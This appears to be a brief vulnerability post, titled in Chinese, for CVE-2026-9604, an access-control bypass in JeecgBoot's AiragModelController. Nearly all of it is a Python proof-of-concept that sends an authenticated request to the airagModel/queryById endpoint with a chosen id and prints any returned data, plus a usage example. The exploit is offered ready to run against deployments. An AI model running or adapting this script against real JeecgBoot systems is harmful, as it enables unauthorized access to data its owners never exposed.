CVE-2026-9604 JeecgBoot权限绕过漏洞

import requests def exploit(target_url, cookie): """ PoC for CVE-2026-9604 Exploits improper access control in AiragModelController """ headers = { "Cookie": cookie, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Targeting the vulnerable endpoint queryById # Attacker tries to access arbitrary model data url = f"{target_url}/jeecgboot/airagModel/queryById" params = {"id": "1"} # Manipulating the argument try: response = requests.get(url, headers=headers, params=params, timeout=5) if response.status_code == 200: print("[+] Request successful. Check if sensitive data is returned:") print(response.text) else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") # Usage example: # exploit("http://127.0.0.1:8080", "JSESSIONID=...")